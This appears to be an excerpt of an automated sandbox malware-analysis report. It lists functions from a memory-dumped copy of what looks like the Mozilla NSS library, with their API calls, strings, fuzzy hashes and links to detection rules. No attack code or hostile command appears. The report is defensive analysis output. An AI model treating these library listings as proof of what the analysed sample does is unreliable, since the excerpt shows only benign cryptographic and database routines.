Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 6E2165A6A40215A7FF015AA2AD81FFB326CDB6175CF084134FD04DD646FB26D51A8372

Function 6C9C89C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C9CAE9B,00000000,?,?), ref: 6C9C89DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C89EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B), ref: 6C9C8A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9C8A11

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 8e7f3727992ddf305b35752450c243775e96ec94efe22f772beadd05b10fb007
Instruction ID: a4999c8a60a03a511d5be27ad69a0bc68dbe56d75fbbb344fd87e07aefb75a45
Opcode Fuzzy Hash: 8e7f3727992ddf305b35752450c243775e96ec94efe22f772beadd05b10fb007
Instruction Fuzzy Hash: 391106F2B40300A7FB045A647C81BBB355C9B6179CF080036ED099AB42F762D969C2F7

Function 6C9A2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C9A2CDA,?,00000000), ref: 6C9A2E1E

Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91
Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
Part of subcall function 6C9FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C9A2E33

Part of subcall function 6C9FFD80: free.MOZGLUE(00000000,?,?), ref: 6C9FFDD1

TlsGetValue.KERNEL32 ref: 6C9A2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C9A2E5E
PL_HashTableLookup.NSS3(?), ref: 6C9A2E71
PL_HashTableRemove.NSS3(?), ref: 6C9A2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C9A2E96
PR_Unlock.NSS3 ref: 6C9A2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9A2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9A2EC5

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e94863ee34defe7802c9f410aadb2e179f3562c7a0b38db0c7a8ce57389f8aa6
Instruction ID: 19cca73458aeb0c54d1d2c6d013a61883748d94915f8d25ce1feab59d28e3237
Opcode Fuzzy Hash: e94863ee34defe7802c9f410aadb2e179f3562c7a0b38db0c7a8ce57389f8aa6
Instruction Fuzzy Hash: 2421C876A0020167DF111B65EC09E9B3A7DDB7235DF184034ED1C86B11F732D5AEC6A2

Function 6C98FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C98FD18
sqlite3_initialize.NSS3 ref: 6C98FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C98FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C98FD99
sqlite3_free.NSS3(00000000), ref: 6C98FE3C
sqlite3_free.NSS3(?), ref: 6C98FEE3
sqlite3_free.NSS3(?), ref: 6C98FEEE

Strings

simple, xrefs: 6C98FC79

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: bb2a973f1cfde605d0baf744d899947e42b3b2e232e1715e6f4e41da05646016
Instruction ID: 83de224ae0212b28b98abb2479eb5a0c3725c4e7ecd1f2ad335ced501525c731
Opcode Fuzzy Hash: bb2a973f1cfde605d0baf744d899947e42b3b2e232e1715e6f4e41da05646016
Instruction Fuzzy Hash: 5091A1B1A022058FDB04CF55C880AAAF7B5FF8431CF25C96CD8199BB52E735E951CBA0

Function 6C995CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C995EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C995EED

Strings

invalid, xrefs: 6C995EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C995E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C995ED1
misuse, xrefs: 6C995EDB
API call with %s database connection pointer, xrefs: 6C995EC3
%s at line %d of [%.10s], xrefs: 6C995EE0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 410f09ddc7d355a720703e02fe84318d414e77c86e9f0e147868ee7bdbbea743
Instruction ID: 2ab0a601e4b196cdfd9081e243b32bdd3009e354478a3595760d29d0f8a1b718
Opcode Fuzzy Hash: 410f09ddc7d355a720703e02fe84318d414e77c86e9f0e147868ee7bdbbea743
Instruction Fuzzy Hash: 3081FF30B066029BEB18CF65C858B6B7378BF4131AF2D4368D8165BB60D730E856CBD1

Function 6C97DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C97DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C97DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C97DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C97DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C97DF78

Strings

database corruption, xrefs: 6C97DE5C, 6C97DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C97DE52, 6C97DE81
%s at line %d of [%.10s], xrefs: 6C97DE61, 6C97DE90

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 3182359983a2192b9eadf4dc81ae5a49110d9e21752c9d2fbb5a0e8702ff3838
Instruction ID: b28dcdc878b25e4963812ce02ca2711a7720669e5d8594476e048530d2bea5be
Opcode Fuzzy Hash: 3182359983a2192b9eadf4dc81ae5a49110d9e21752c9d2fbb5a0e8702ff3838
Instruction Fuzzy Hash: 5D81D1726053009FD724CF25C980B6A77F5BF95308F15882DE89A8BF91E731E845CBA2

Function 6C92CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C92B999), ref: 6C92CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C92B999), ref: 6C92D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C92B999), ref: 6C92D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C92B999), ref: 6CA7972B

Strings

database corruption, xrefs: 6C92CFE7, 6C92D013, 6C92D028, 6C92D039, 6C92D03E, 6CA79786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92CFDD, 6C92D00E, 6C92D022, 6C92D033, 6CA79780
%s at line %d of [%.10s], xrefs: 6C92CFEC, 6C92D018, 6C92D029, 6C92D03F, 6CA7978B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0f442af9ec8c5eea2170cc4c14aad82ee901d531bb3d3763fd3d2c3ace124f9a
Instruction ID: 5792cf67b12b760d9a9afb72d28fdd8e51cb498ae6310a2a36d0ed3ab066ca64
Opcode Fuzzy Hash: 0f442af9ec8c5eea2170cc4c14aad82ee901d531bb3d3763fd3d2c3ace124f9a
Instruction Fuzzy Hash: AC611971A042108FD320CF29C840BA6B7F5FF55319F59456EE4889BB42D37AE987C7A1

Function 6CA2FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CA30113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA30130
PORT_Alloc_Util.NSS3(00000040), ref: 6CA3015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CA301AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CA30202
free.MOZGLUE(?), ref: 6CA30224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA30253

Strings

exporter, xrefs: 6CA300F7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 58f713a3fc5fe108bb8e184fb1a374edd7bc5aaf80e29ab98f65d4c68dddb3e1
Instruction ID: 7f1152f610e7012021b7e4658dc1de511c733531ebfe3751b79c8bfe3c1fe9b8
Opcode Fuzzy Hash: 58f713a3fc5fe108bb8e184fb1a374edd7bc5aaf80e29ab98f65d4c68dddb3e1
Instruction Fuzzy Hash: 186102719003999BEF018FA8DD21BEA77B6BF4430CF185228E91E96661E731A9D8C740

Function 6CAB3980 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB3998
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3A08
memchr.VCRUNTIME140(0123456789abcdef,00000000,0000000A), ref: 6CAB3A18
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3A51
memchr.VCRUNTIME140(0123456789abcdef,00000000,?), ref: 6CAB3A64

Strings

+, xrefs: 6CAB39A2
0123456789abcdef, xrefs: 6CAB3A13, 6CAB3A2D, 6CAB3A5E, 6CAB3A63
-, xrefs: 6CAB39A7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memchrtolower$isspace
String ID: +$-$0123456789abcdef
API String ID: 3040594209-2676945536
Opcode ID: 6e7692c99a31f0d0a8cc8539923b9c4a689ad7c19bd3ae7eaa7661dc7a145b05
Instruction ID: 56d2a382eeb5d29a20817f3f4cf826d9bfe22a6b7176b18f6b3d715d0a0b80f6
Opcode Fuzzy Hash: 6e7692c99a31f0d0a8cc8539923b9c4a689ad7c19bd3ae7eaa7661dc7a145b05
Instruction Fuzzy Hash: F1317C71F051664BEB1045AE8CA13ABBBED5B41314F1C0236D898F3700E9359DC547D1

Function 6CA2EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EF6D

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

htonl.WSOCK32(00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EFE4
htonl.WSOCK32(?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EFF1
memcpy.VCRUNTIME140(?,?,6CA4A4A1,?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2F027

Strings

dtls13, xrefs: 6CA2EF33

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 1ffa294cf0614c09cf717072d45f82669314096455fed37027d4b28845f2f6de
Instruction ID: 86bfc71fe7128d4a3c5e6c739fb45e6560593b6dd7370ce501484dd983a83c1b
Opcode Fuzzy Hash: 1ffa294cf0614c09cf717072d45f82669314096455fed37027d4b28845f2f6de
Instruction Fuzzy Hash: 3431F371A002219BC720DF38DD40B8AB7E4EF45348F198029EC189B751E735E999CBE1

Function 6C9AAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9AAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAC9500,6C9A3F91), ref: 6C9AAFD2

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

DER_GetInteger_Util.NSS3(?), ref: 6C9AB007

Part of subcall function 6C9F6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C9A1666,?,6C9AB00C,?), ref: 6C9F6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9AB02F
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9AB046
PL_FreeArenaPool.NSS3 ref: 6C9AB058
PL_FinishArenaPool.NSS3 ref: 6C9AB060

Strings

security, xrefs: 6C9AAFB8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 972fa764f8157d5b82d9df112ee7d25fe588ff8f8105114bb21daf9edaa05001
Instruction ID: 92af80fc52f7cd00c75120156a07957b134e4e3ff42ee063956d09c05c409f7f
Opcode Fuzzy Hash: 972fa764f8157d5b82d9df112ee7d25fe588ff8f8105114bb21daf9edaa05001
Instruction Fuzzy Hash: 11313670504304DBDB108F65D845BAA77B8AF8636CF100618E9B4ABBD5E732D18ECB97

Function 6C9A3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C9A3F7F,?,00000055,?,?,6C9A1666,?,?), ref: 6C9A40D9
Part of subcall function 6C9A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C9A1666,?,?), ref: 6C9A40FC
Part of subcall function 6C9A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C9A1666,?,?), ref: 6C9A4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A3ED6

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A3EEE

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A3F02
PL_FreeArenaPool.NSS3 ref: 6C9A3F14
PL_FinishArenaPool.NSS3 ref: 6C9A3F1C

Part of subcall function 6CA064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CA0127C,00000000,00000000,00000000), ref: 6CA0650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A3F27

Strings

security, xrefs: 6C9A3EBC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: ebb133988c1830832e035f9bf03b84eb75913de726e7f619d9d3a90a0cef7179
Instruction ID: 9a61d987a3681b2df2972f15990ac3794a6d3903567a472ef4b527702d2f03fe
Opcode Fuzzy Hash: ebb133988c1830832e035f9bf03b84eb75913de726e7f619d9d3a90a0cef7179
Instruction Fuzzy Hash: 2F21F871A04300ABD7148B65BC02FAB77A8FB5835CF04053DF959A7741E731D5288796

Function 6C9ECC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C9ECD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C9ECE16
PR_SetError.NSS3(00000000,00000000), ref: 6C9ED079

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: a430d2150942040584f938639eda148b31f42145ce74e0945d3ff6dbdf655eaf
Instruction ID: 3c86b4f1ef34185ed2ab1f74202c4e927662956576258464f1cff373d475eea4
Opcode Fuzzy Hash: a430d2150942040584f938639eda148b31f42145ce74e0945d3ff6dbdf655eaf
Instruction Fuzzy Hash: 9FC17FB5A002199BDB11DF24CC80BDABBB8BF6C318F1441A8D948A7741E775EE95CF90

Function 6C9DDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C9E97C1,?,00000000,00000000,?,?,?,00000000,?,6C9C7F4A,00000000), ref: 6C9DDC68

